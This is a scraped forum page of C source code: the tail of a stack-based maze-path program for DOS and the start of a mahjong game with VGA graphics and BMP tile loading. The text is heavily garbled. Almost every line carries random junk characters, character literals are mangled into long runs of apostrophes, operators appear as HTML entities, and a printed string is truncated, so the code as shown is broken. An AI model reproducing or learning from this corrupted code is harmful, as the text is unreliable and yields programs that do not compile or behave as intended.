/* Mark the position seat. */
3 E" ~  Q5 c8 Z/ h5 ]{& Y, M) N) d5 R* J
maze[seat.x][seat.y].mark=-1;
  L; [4 K) m$ s5 o: s. C/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */. z1 U$ ?7 P  e0 q6 |
} /* MarkPrint */
: t: T$ T# A# q# `void FootPrint(PosType curpos)9 v: [3 {) C0 c7 n' v
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
1 z" D" o; D2 o' t* y4 x{2 @3 a0 n6 }. x  c# i. Q/ W# B
maze[curpos.x][curpos.y].foot=1;, y1 D+ ]9 L  p
} /* FootPrint */+ D/ s6 a  s3 Q/ z( [  a3 v( t- f
PosType NextPos(PosType seat,int di)/ l2 k4 ^! C1 P, K+ V5 R
{
$ {8 C) Q/ K% g! R; S5 Dswitch(di)
! R7 E/ q7 T; }1 U; C: }1 |{, G( B$ f# Q; k5 v0 N% O
case 1: seat.y++; return seat; /* Eastward */% a& w' L" |  p+ `8 A
case 2: seat.x++; return seat; /* Southward */0 ]# I  Z6 x* U; [
case 3: seat.y--; return seat; /* Westward */
: Y  [# J% n, Qcase 4: seat.x--; return seat; /* Northward */3 ]# V; |# `- {/ w
default: seat.x=0; seat.y=0; return seat;
3 `+ H+ u/ J8 ?) ^}
6 g! M$ j6 k$ L! I& v} /* NextPos */: O, E2 ~! o) ?% M  \) ?1 W* j
' x  s/ E2 Q  c" ~! B3 L6 [9 b
/* The key to the program. */3 @9 g% V0 s! v1 ^. ?- V
/* Pre: The maze array &amp; the startplace &amp; the endplace.
+ E/ _0 ~; Q" J- kPost: Find the one traverse of the maze and perform the mazepath.
$ l1 s7 m5 e  x8 LUses: The ADT stack class.& c3 D9 n& `0 Z7 c- Q4 U
*/
$ h3 Q5 J- M9 W) S% }Status MazePath(PosType start,PosType end)
/ o8 k* W! B* @* r0 ]{8 P, f3 G8 R% [- M4 E
PosType curpos;
  t1 }) b/ G9 r, @" y. Cint curstep;
) H8 t- c# h- [& USElemType e;
; ~5 W+ ^- G/ ~4 `! q" o  RStack *s,stack;
+ Z4 K' M5 r$ y" I& t- b; b& Fstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));6 e# d+ t4 w2 w5 j& q9 Z- u- @
if(!stack.base) Error("Overflow");
+ B( `% i  X- t# A( ^5 lstack.top=stack.base;& M. A" \' `" r. f
stack.stacksize=STACK_INIT_SIZE;
) {7 H: U7 \1 z2 C- l: L) vs=&amp;stack;
( c! p; g# p, R+ k7 pcurpos=start;. W. z8 R2 v! J' P+ i$ k' a
curstep=1;
# X" M/ ]  {/ r1 mdo3 i& I  m" L  R# o3 @8 w. y
{/ v9 J& {6 s$ U
if(Pass(curpos))0 L% b3 `' v, x) x# ?8 P
{1 k. V- H+ `8 R5 w
FootPrint(curpos);" {% y( n- Q. e% K: f% R
e.ord=curstep; e.seat=curpos; e.di=1;
% l8 {& x# X1 F% a% O# w3 h9 E* Lgotoxy((curpos.y+1)*2,curpos.x+2);
# q; n3 v/ J& A0 Q! u$ pputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
5 m( i9 |! }" a8 z1 j/ s* b5 edelay(8000); /* pospone time. */. r- |- }& ?- A0 ^4 x$ s% J3 ?
Push(s,e);
% @0 R$ ~% ^% t+ N3 rif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
) a# K& |- L/ a{
8 }- P; T% _+ N( t; UDestroyStack(s);2 c& W: R' d1 ]6 ~
return TRUE;
, A: ]' |9 _9 y2 @8 }6 L}- J- E# |: P7 S0 R& V
curpos=NextPos(curpos,1); /* Try next position. */
6 S) f# e* P, b; d) x" A' rcurstep++;& \3 e) ], Z$ `. }! p) A
}# h0 f$ X  ~) t
else3 R2 P, E0 ^" F2 l* `$ t
{
. B+ @* u' G/ l/ g3 _if(!StackEmpty(s))
% T1 K8 U$ C! Q0 x1 q5 H" z7 F+ o5 Y{
3 w+ ~) O8 _6 g3 B# m; [e=Pop(s,e); /* Removed e from s. */
3 G5 m6 E( h* S* H6 p5 U3 swhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
3 E; \4 _0 p( H0 z) W3 l( Cand s is not empty. */
( M/ L  V5 f( A3 W2 g9 n3 S9 R; v) w{  _* d8 v/ S7 k4 M# n: B+ I1 E
MarkPrint(e.seat);
5 g& a- a3 h+ e) U  y4 O8 ?gotoxy((e.seat.y+1)*2,e.seat.x+2);( b0 G7 Y; p$ ]5 d: |# j
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');6 s$ ~: c. _& g1 H
delay(8000); /* Pospone time. */! Q  N" r2 e- T1 t0 m
gotoxy((e.seat.y+1)*2,e.seat.x+2);
  H; H, V1 r% V! rputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');) B7 i$ q0 L6 l" c) d# t& R
e=Pop(s,e); /* Remove e from s. */
+ h6 s  G  J/ ycurstep--;
6 c. _* \# Q" X- g8 O; }- S}
  }+ z7 V( T8 B: ?0 T, nif(e.di&lt;4) /* The current position hasnot been checked. *// [/ H) ^) W6 e
{
6 o& W' `$ q# `& Ie.di++;  e# {4 N$ f0 V6 S/ v+ P% s
Push(s,e); /* Insert e into s. */
% j6 g  j. M5 k  x* ^curpos=NextPos(e.seat,e.di); /* Try next position. */3 L& c/ E2 b4 P+ Q& |; E% Y( L
}
' Y$ G* D/ g2 ?, U7 f- Y2 n- y}, d3 z& q1 ]) L" v3 F' @
}
& j/ ]! F! O, ?" O- X* _9 w" B}
6 w/ _1 H& `0 \6 H2 G8 gwhile(!StackEmpty(s));
' w. [: E. n% a9 P; Z) X  b# }DestroyStack(s);1 f: g/ f5 t* ^* {& @8 W
return FALSE;) J$ u6 x1 ?8 W# C" B
} /* MazePath */( w% c1 J9 J' L& i; K+ U1 m
void main()
: ~  [! i& h7 c' W5 h{
$ `( l+ _" v6 b1 A# cPosType start,end;
$ _1 w: u5 @9 E- {: m! g. i3 Z: ?CreatMaze();
& R+ b5 M7 N/ bstart.x=StartPlace.y;
+ |0 m* y+ q2 x6 p( dstart.y=StartPlace.x;$ f# z8 i/ q, y/ U
end.x=EndPlace.y;- x" m7 w9 S# ~+ s( @
end.y=EndPlace.x;
& g/ Z( _  C- Y$ o) K  \if(MazePath(start,end))* o* v( O. B# t
{7 p- @- S6 c4 D) k; x) q$ y
gotoxy(2,22);
5 B" y% [( S/ p. E- {8 rprintf("ath found\n");/ {' T+ n) p9 A1 i' d* @4 Q8 W: r
}
1 s& Q* q: d- \2 y0 Pelse1 [$ V4 ~* I  y- C% E' F
{
( U5 h9 a7 V0 Q8 _gotoxy(2,22);
1 T4 l$ C5 S! r$ m# Nprintf("ath not found\n");0 x/ d0 }5 x, Z4 V+ W
}
7 J$ U; v, E) bgetch();
, l7 s4 o$ p" P0 ]$ O) i4 W0 mclrscr();
, N! ~" `: c$ y! R3 L+ U} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
# L' y) ?, _9 k9 k# n0 b+ G! `* M/*天宇软件
' x, u+ r- }9 U9 T  J( G5 r作者:上海黑暗之龙3 B& U+ j# I/ X7 ~7 L& c1 c
2002/10/30. J4 q2 t9 I% ^' k
麻将原代码*/
7 \, q1 k  `6 [& U* l) y#include "dos.h"5 ^7 ~' J3 z" Z: F  {. M# q
#include "stdio.h"
2 a5 k# f8 M: e$ E7 O& `* V#include "graphics.h"/ I% P) L8 v' A; I+ g7 y: L2 C
#include "bios.h"6 A& \" r# v( U* e/ x
#include "conio.h"
* ^( {! n/ Q, X3 @7 w9 v2 y' r  d#include "stdlib.h"
8 v1 s' X( w  p% I1 _* d. wunsigned char far *video_buffer=(char far *)0xA0000000L;
6 [2 i1 }  j7 i% J6 c2 ^6 d#define VGA256 0x13 /*图形模式13h*/8 L5 m9 W, n6 l0 }7 a
#define TEXT_MODE 0x03 /*普通文本模式*/
, }' v3 N: I: A! V' z; c+ X#define SETVGA Set_Video_Mode(VGA256)
) v/ E+ D/ K) B0 }4 J4 n- U#define OUTVGA Set_Video_Mode(TEXT_MODE)
. y3 d# _# g4 }/ B7 s#define BYTE unsigned char* ^) k8 }% W2 \! i6 p* {" d
#define WORD unsigned int: Y% S! I2 P) W* t+ m7 L) s
#define DWORD unsigned int
9 O' T; t* V7 r/ x3 a9 {9 S#define ESC 283
3 x% S# J3 T5 e& o; T7 _4 ^#define LEFT 192002 m! S$ z( `! e* a# F" M9 p  n/ R* b
#define RIGHT 19712  N. ]$ A) k8 q9 X: i8 \( A
#define H 9064
; V, R+ [+ y& d7 O' j( `#define ENTER 7181
$ d9 s4 L" j9 L9 Dunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;1 {% G* ~7 ]% O4 F
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
5 _; k, n2 N0 b8 V' j( D# P) bstruct chi
' l; F! O, X6 E1 D# j8 N) J" N{: G* ?4 }$ C4 k' `/ ^
int lg;
* X' E4 I, M. o# Z% U. p9 t5 [int lgg;
  ?2 Z4 ?4 o3 s; `, v}ch[13];
3 |  a1 B- F( u1 @+ h* n& [struct mj$ T3 n* x: x: H8 K& V' y
{ char *name; /*名字*/5 i& ]0 m) K1 i% V: m$ \- J- |* d3 s
int data1; /*是否已出,无用了*/
# T1 V* O) O# D. Vint data2; /*是否在手中,1为自己,2为对方*// N# \8 C: b2 Y3 H4 D' a2 j( q
int number; /*同一个花色的第几张,共4张*/
+ w) X  F8 @" d/ o}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
5 X- {, T4 n. z"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
1 t& y- H6 W( ?" D) s& b! m"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
& }. R6 g) Z1 u1 a4 s' x; [& p"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,1 E! H9 a' y! w/ R
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
5 d  N8 j5 p! A6 f+ r( u"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
1 z; [$ |  B7 _4 I& @$ L: p"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
  n  l; O% U9 R9 q0 U  n"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,9 k6 Z0 N) P1 D, d* l! u
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
+ q6 X7 e+ C! P. h5 @6 Q"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,+ ]$ D8 b+ M& \
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
/ h, l0 l7 v3 z$ J"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,5 B) R4 {0 {" B$ }" C, Z7 W! e4 H
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
0 d6 v! Z' C: i; ^2 L; K"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
% p: ~# T, P' ~' I6 n+ l+ R9 B"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
# N# Q! b( L9 Y" D/ X  O"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
7 I7 A8 [' l  z& }5 G  C"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
+ s3 Z$ |8 K* J7 l+ P"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
8 \  b6 _& [- w& T; x1 @"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
2 {* |# [6 m- a6 ]& r+ |* a"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
! R& B3 `! y" _# {* J. f0 J' y"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
2 m3 X: b2 N# |7 U" B' ?1 n+ N"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,5 W- ^" t5 U2 u& s
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,; i3 g7 k: K! W' {. h& Q5 _* |! y1 y
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,: y- C) G: y0 V7 i/ t; ?' j# [
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
2 K+ o- `+ L+ _2 @5 S"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
" E) b" Y% |1 r. `7 s3 y! @"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
; h  e( F+ T) F1 d1 s6 x"34.bmp"};  b1 Q4 e( s) v
struct every9 l) w6 s+ @7 L
{ int *k; /*名字*/
; r% H9 r# |# cint oneorfour; /*同一张牌的第几张*/
7 d9 P5 }. L, w" K4 P( L- X7 S$ C$ dint number; /*第几张牌136*/
2 N& o, U+ i+ Q7 X. ~' Vint p;
6 @/ W; s* q4 w5 B3 _int g;. u" W- R2 ]- S; [4 k
int c;' R. d! P  Q& |0 C* z/ l" ^5 D
int d[2];% Z7 g( K; U( ]6 ?$ z+ z9 b8 |
};
% Y1 d. j1 O* Y# v" f5 S& F( C! f: ]struct me$ L) p& r# K3 k. \8 b1 d
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
- h7 t4 o0 z+ T# E$ rint p; /*乓对方*/) A2 T( s& S6 u5 n$ S1 p9 N6 B# @
int c; /*吃对方*/, p9 O, d5 U3 b/ T0 t' g. o3 K+ f
int g; /*杠*/! r7 `( ~6 ^  z+ e# g
2 N6 d$ v% w( H' A2 D( x
struct every pp[14]; /*存放手上的牌*/: a; y& c8 A% D% w9 t* U9 A
}me;
$ J* W( N! W! m: ^struct computer4 t+ y+ M0 e$ B- z
{ int m;
8 z3 Z; l* Z( Dint p;: F# @/ X  i, i6 s" {0 k. }; G
int c;9 g7 j0 |' B  A5 {1 m$ U/ b  p
int g;6 N$ p5 b+ r+ p
struct every pp[14];
& L7 R1 U5 s- F4 W# }}computer,comp;* }5 e6 F3 B, y. c) `+ L* C6 Y  o3 u
9 y; }6 @- b" ?9 e) m
/* 设置调色板 */* r# c" ?5 ^/ ]' A3 x
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
( A# c! A# ]2 N+ K3 |) E{
5 Q5 x( O* T3 ?: N8 @) n2 Poutportb(0x3c8,Color); /*0x3c8写端口 写色号*/1 M1 N0 Q& h% z' {  n
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
! c  n  R& ]/ ?' Boutportb(0x3c9,g);
  N2 W$ b4 O8 E7 h2 t& y- d: Houtportb(0x3c9,b);% O1 D/ Q; ^& E+ g
}6 x1 S  \$ n- T4 k
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
2 X7 ?1 s: T8 O4 W4 c" }( ~/* 设置显示模式的函数 */
0 A+ K. _/ P6 t, t, |9 O6 Cvoid Set_Video_Mode(int mode)
0 U5 ]6 `* T2 j2 h' g" o9 S{0 ~4 v. q( y- y
union REGS inregs,outregs; /*定义输入和返回寄存器*/& H- b; P9 X1 H( z6 C& w
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
6 J$ \* n8 Q* O- tinregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
# u# z5 L5 Q" B& @' e6 `int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/3 d3 l# c8 m# C; S! @( l+ l
}1 F$ {! I2 w' ?# w) c2 t" c: ^
void v_line(int y0,int y1,int x,unsigned int color)
! y& l: c- y: C) k: V- D- M{ unsigned int address,n,temp;
+ }+ X0 \5 l# B5 }- X3 z; v2 Z+ g. L7 fif(y0&gt;y1)6 z1 A; C* {" e- Y1 c7 p
{
! T, b& o; @3 i. itemp=y1;6 r, E% y2 h' I7 L) O
y1=y0;
* X% u6 s  @/ Cy0=temp;
5 l0 J/ B  e1 S4 F' \3 o}0 K: F! B' K  \/ G
address=320*y0+x;2 @6 ?1 z$ c# }0 o7 ]$ i& j
for(n=0;n&lt;=y1-y0;n++)- @7 M5 U0 v9 e, {  l, D
{" X. H1 X! f4 r: f
video_buffer[address]=color;
% I- f$ L/ _* o( qaddress+=320;7 t6 C# U' z, s) E% k7 Y- n
}
9 g, r- ^7 H. N5 H7 t}
& d6 {0 F$ Q, C: _4 n- F) pvoid h_line(int x0,int x1,int y,unsigned int color)
% J7 |0 \) i1 z{ unsigned int address,n,temp;# ?9 M* n+ I$ M! P
if(x0&gt;x1); ?" R! r8 t9 d
{
0 x) o6 w7 k3 F# ?temp=x1;
8 W& j. }# N1 m0 jx1=x0;
% }/ Z0 m$ ?1 f; m; A  Z) tx0=temp;$ o4 Y. Q% [( E5 q: e& f
}4 V: s( F$ G8 m. a
address=320*y+x0;. i; H# ^% {' j7 J6 v5 S! W* V
for(n=0;n&lt;=x1-x0;n++)
/ s3 [, X3 n; c1 T{
) n  y' g8 I+ _( ovideo_buffer[address]=color;
% ]  a) f: M5 p! D  ?& haddress+=1;  Y& Z& K8 S, c* _5 E* E) Y6 U
}
7 q1 B3 F5 k" U6 D8 u}1 ~1 J" ]% J- |- J
void p_pixel(int x,int y,unsigned int color)
+ r, \1 W+ i3 K9 \6 P. J{ video_buffer[y*320+x]=color;
. s7 L; z% y& D3 A; f) c) r. b0 t}+ }  r' F  S. j- C' Y7 e* G
void s_square(int x,int y,int side,int color). g' \) z; ]+ i: \1 s5 B
{+ ?4 {! N2 B# U$ T! Z" O- p
h_line(x,x+side,y,color);
9 H8 W" Y, E# w( L1 S0 nh_line(x,x+side,y+side,color);
3 W" o* M+ H8 ^' r) }v_line(y,y+side,x,color);
! B# ]( f7 {7 ^8 A7 f1 r8 c% Jv_line(y,y+side,x+side,color);
2 b% W8 Q) `3 Z# C1 B) B1 |* t}2 Y* b& }  q6 g' F4 w
void r_rectangle(int x1,int y1,int x2,int y2,int color)0 W! t8 Q" I4 Z
{
. b3 s4 u% L! V7 b8 Sh_line(x1,x2,y1,color);
* D9 s, x2 r2 y. _: sh_line(x1,x2,y2,color);. D. \/ f' h2 n# {8 \% H/ U8 H! p
v_line(y1,y2,x1,color);
9 h) W6 S* z6 V5 }' Q5 K+ b' K9 @v_line(y1,y2,x2,color);9 c  |) E: u( w! ~; _' C
}
; T$ E' u1 I2 F# M, M% [void fillRectangle(int x1,int y1,int x2,int y2,int color)) `2 e, w* r. C+ l7 l+ J  o; l
{4 }6 F* T; M! c. \. |
int i;+ B: N+ d* ^: R9 J* l
for(i=y1;i&lt;=y2;i++)
' u; U( n! _6 L# s- ^9 E4 J{$ c) O6 {  M; b% X
h_line(x1,x2,i,color);
# `2 ?7 x  ^  M9 P; m}
2 i2 Q3 M+ K- K* l}: ^' F/ r( w" Q  d% q# U8 c
void showbmp(int l)
6 H3 i  D7 u* K- g* z# G{ FILE *bmp;7 S/ [# L1 r, i6 I5 z" B0 E
int i,x,y;
, D: L9 o# \: Y/ OBYTE palette[256][3];" F+ Z2 ?3 D7 O+ I9 B4 U# Y+ [& V
bmp=fopen(me.pp[l].k,"rb");% F/ z. l( u9 j8 I; d1 q! ?$ J; D
fseek(bmp,54,SEEK_SET);
9 p5 }5 s0 w! Q; K- [for(i=0;i&lt;256;i++)# `5 `8 K  K; w
{
; e9 G* s6 p! V- k) m0 Hpalette[2]=fgetc(bmp)&gt;&gt;2;, I0 y2 V+ Z0 d9 `$ |
palette[1]=fgetc(bmp)&gt;&gt;2;: d2 M5 f% a" z( V. c
palette[0]=fgetc(bmp)&gt;&gt;2;
9 c. U2 l' p' U* x- \  p: W# Jfgetc(bmp);' G  H1 [% V& }( P% D2 U9 i
Set_Palette(i,palette[0],palette[1],palette[2]);2 d$ K8 O$ S$ |/ ~% e4 j% t
}8 ]6 Q4 c# S8 x" F4 Q) @7 V
for (y=0;y&lt;30;y++)+ |% P8 S! M' n
for(x=0;x&lt;20;x++)
7 q# O# ^4 s+ @, Tpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
7 @2 b* ^$ n$ _/ H3 v! l* Yfclose(bmp);
$ w$ ]2 O& ~7 L}
! R; I6 h' T. M3 _7 w  Bvoid showbmpd(int l)
- N! |% n$ d$ V$ H" ]( ^{ FILE *bmp;
5 L* \9 S# P* A7 l# _& bint i,x,y;' r, q$ [5 m7 [* R) ~3 s5 t
BYTE palette[256][3];
/ e* d0 E# b+ e2 B0 ~0 c+ obmp=fopen(me.pp[l].k,"rb");
" ~6 @) \) E# @; s3 Lfseek(bmp,54,SEEK_SET);% o$ V! E) U0 Y) I4 B- p: b
for(i=0;i&lt;256;i++)
* }8 e( a# q5 }{' g& N- W* W" S
palette[2]=fgetc(bmp)&gt;&gt;2;
$ B6 \, L: N2 V8 S6 a0 D+ f- Bpalette[1]=fgetc(bmp)&gt;&gt;2;9 b: [  a' @* |
palette[0]=fgetc(bmp)&gt;&gt;2;
* k: d: E9 ]% }fgetc(bmp);- D; S' F  \( A4 ~+ k
Set_Palette(i,palette[0],palette[1],palette[2]);. e' g/ F# o) W
}
2 {6 y7 m+ V1 S. zfor (y=0;y&lt;30;y++)
; M" j# B1 ?/ j' P4 ]for(x=0;x&lt;20;x++)
5 k9 k' M5 N! S9 |pokeb(0xa000,y*320+x+zyy,fgetc(bmp));% ]2 \5 a1 _8 M* ?6 f  @
fclose(bmp);$ R0 F  j' X1 t, T/ o- Q; U
}. N: ]  H5 x6 [- }( S! j
void showybmp(int ll)
; F3 z% p4 m9 @& w, E{ FILE *bmp;5 W9 {" x% u  t; y6 L- B
int i,x,y;
$ V7 b+ _5 K, r/ Q: _, p: hBYTE palette[256][3];
0 M4 L$ r: r$ v6 j/ O; q5 Obmp=fopen(computer.pp[ll].k,"rb");
( y* _3 @: Y& }: k/ H: t$ lfseek(bmp,54,SEEK_SET);
1 O7 I1 `. t2 M/ W2 ifor(i=0;i&lt;256;i++)7 h0 r6 J2 d1 q6 B
{
3 T9 Z9 J" m/ E0 Y$ ]palette[2]=fgetc(bmp)&gt;&gt;2;
: d/ ^) T, z5 u4 ~% E" `% X* Jpalette[1]=fgetc(bmp)&gt;&gt;2;
( q4 s- t9 p! f9 p! ^palette[0]=fgetc(bmp)&gt;&gt;2;
" K6 V8 k5 j5 `fgetc(bmp);6 e3 r5 ^3 t; ?
Set_Palette(i,palette[0],palette[1],palette[2]);) z# c! v, D7 Q
}, Y" `* J2 f& {2 e; B8 Z; r$ q7 |
for (y=0;y&lt;30;y++)
( Z* w* K2 z% ?4 ~0 [for(x=0;x&lt;20;x++). [" @& H& g; O8 n" S5 U
pokeb(0xa000,y*320+x+zy,fgetc(bmp));/ x4 W. O& H6 X* H
fclose(bmp);5 u" q' R$ i2 y7 a% ~" T; x) f
}
+ w7 p: f* Q/ r6 K$ hvoid showcbmp(int ll)
6 U0 g8 G) ]! U) I6 V* P! t" p{ FILE *bmp;
; Q. |8 r- z9 ~0 P" T3 eint i,x,y;
0 a0 u/ ~. \+ n2 }2 F$ y8 RBYTE palette[256][3];) J, `$ k6 q  I6 r0 L
bmp=fopen(computer.pp[ll].k,"rb");7 B, [3 B* b8 t! i7 j& X# F( ~
fseek(bmp,54,SEEK_SET);' p# j. i. ?% F  m4 M: [
for(i=0;i&lt;256;i++)4 \4 B8 B& V2 k. U1 G; r3 d
{
; `+ L9 o( b  B: e, o4 I9 Q* P4 Spalette[2]=fgetc(bmp)&gt;&gt;2;3 H7 s4 H( {9 a
palette[1]=fgetc(bmp)&gt;&gt;2;
. H( ]7 `! H8 zpalette[0]=fgetc(bmp)&gt;&gt;2;4 p; w# P( B- F
fgetc(bmp);! F4 S# c7 m; R5 R) }$ L
Set_Palette(i,palette[0],palette[1],palette[2]);7 I$ l8 X4 ~( z. I. _  U$ p0 o8 C
}" l( [7 W( y* S7 N
for (y=0;y&lt;30;y++)
- q. {) i) |  r8 e+ P9 i; Jfor(x=0;x&lt;20;x++); W6 C4 |) ~& \# {( K# T6 Q8 g
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));. C' Q7 y- a& @( r7 C
fclose(bmp);9 V! a) }; ]' j
}
. O; d) S% F: w. yvoid bmpp(int number)
' z  q! W: a, J3 f/ u& ]{ FILE *bmp;9 [6 X/ |7 O9 x6 \9 N$ a+ @
int i,x,y;% C% A; l. g- V; F) H. c
BYTE palette[256][3];
* k4 i$ w9 ~% s$ T! H5 ubmp=fopen(m[number].name,"rb");
7 X/ A4 J9 _* m* w' J* Qfseek(bmp,54,SEEK_SET);- I) w5 N- ?# S! I2 F6 P0 ^
for(i=0;i&lt;256;i++)4 g  Z4 Z! ]8 u! F
{: R) ]2 k6 r  e5 ?, P
palette[2]=fgetc(bmp)&gt;&gt;2;; V, D) z; O, A$ B/ `2 W1 J
palette[1]=fgetc(bmp)&gt;&gt;2;- u- J3 c3 r3 M+ w+ I7 j# w& m' P
palette[0]=fgetc(bmp)&gt;&gt;2;
% p4 d3 Q4 {% j* j5 w: y5 dfgetc(bmp);
8 j$ W. \2 D6 k; c- M' DSet_Palette(i,palette[0],palette[1],palette[2]);) _& W' ~2 i; i0 N. C* P
}. H& L: ~2 w3 N- m/ J
for (y=0;y&lt;30;y++). w5 O: x( ^. Y
for(x=0;x&lt;20;x++): N9 I" B: U- m$ v; K( a
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
% ~/ _/ n5 n, i9 N. ofclose(bmp);$ t6 t! Q0 S6 F$ E% h: r
}4 ]2 v% J" O7 I9 h8 W) j% _9 I" E
void comlipai() /*整理电脑的牌*/
& l6 i4 ?5 j  ~- M9 x{ int n,j,u;
0 ?7 z" }; n$ L( X5 S- lint *lingshi;
6 g( a  ^6 D# M5 g" Vfor(n=0;n&lt;computer.m;n++)1 j( i' H2 ?: J' [/ w6 D, M' n
for(j=n;j&lt;computer.m;j++)# p6 Z% P& v: u/ B/ l/ q
{
* T% d2 B, a3 l% q4 }# q6 }if(computer.pp[n].number&gt;computer.pp[j+1].number)7 V0 ]2 a  f6 s; j: {( Y; K7 |$ X6 |# }0 U
{
3 f; N6 M6 N( y, V9 Slingshi=computer.pp[n].k;
; t. N6 }' ]9 J7 V! c  kcomputer.pp[n].k=computer.pp[j+1].k;' @* f# z$ }- W; O. M4 w% o; O
computer.pp[j+1].k=lingshi;- ?2 D3 n- k+ [" m
u=computer.pp[n].oneorfour;
0 U1 b" F4 ], f8 dcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
! M( v# r2 k' Zcomputer.pp[j+1].oneorfour=u;
( t- G6 B: |9 j  x) Ou=computer.pp[n].number;
7 p* Q1 [, n+ E( Q3 Ecomputer.pp[n].number=computer.pp[j+1].number;. k5 F1 j0 J: o( o
computer.pp[j+1].number=u;4 Y4 s& n) U5 O( H- S- N
}
$ }: j9 y$ a2 X# melse
7 y$ e. G, e, _0 nif(computer.pp[n].number==computer.pp[j+1].number)3 z! t! I! K: C/ @4 T' P5 C9 |
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
) f6 b5 e3 r( x! b7 i1 \{
. A7 v4 e( G5 V: Mlingshi=computer.pp[n].k;7 C: S- w# q+ {" {" U3 N
computer.pp[n].k=computer.pp[j+1].k;' B& |+ l3 ]0 u( o, h: h* L+ h" N
computer.pp[j+1].k=lingshi;
: \: l' M: c* P; V4 R4 H( Qu=computer.pp[n].oneorfour;0 b: _2 e# L. C( v  Z& |; R
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
# ~0 Y6 O' ~2 [6 ^( N0 x. P) y# scomputer.pp[j+1].oneorfour=u;, v3 H$ }. s: V. n6 H
u=computer.pp[n].number;
/ v5 l4 O. h) N, e1 Mcomputer.pp[n].number=computer.pp[j+1].number;
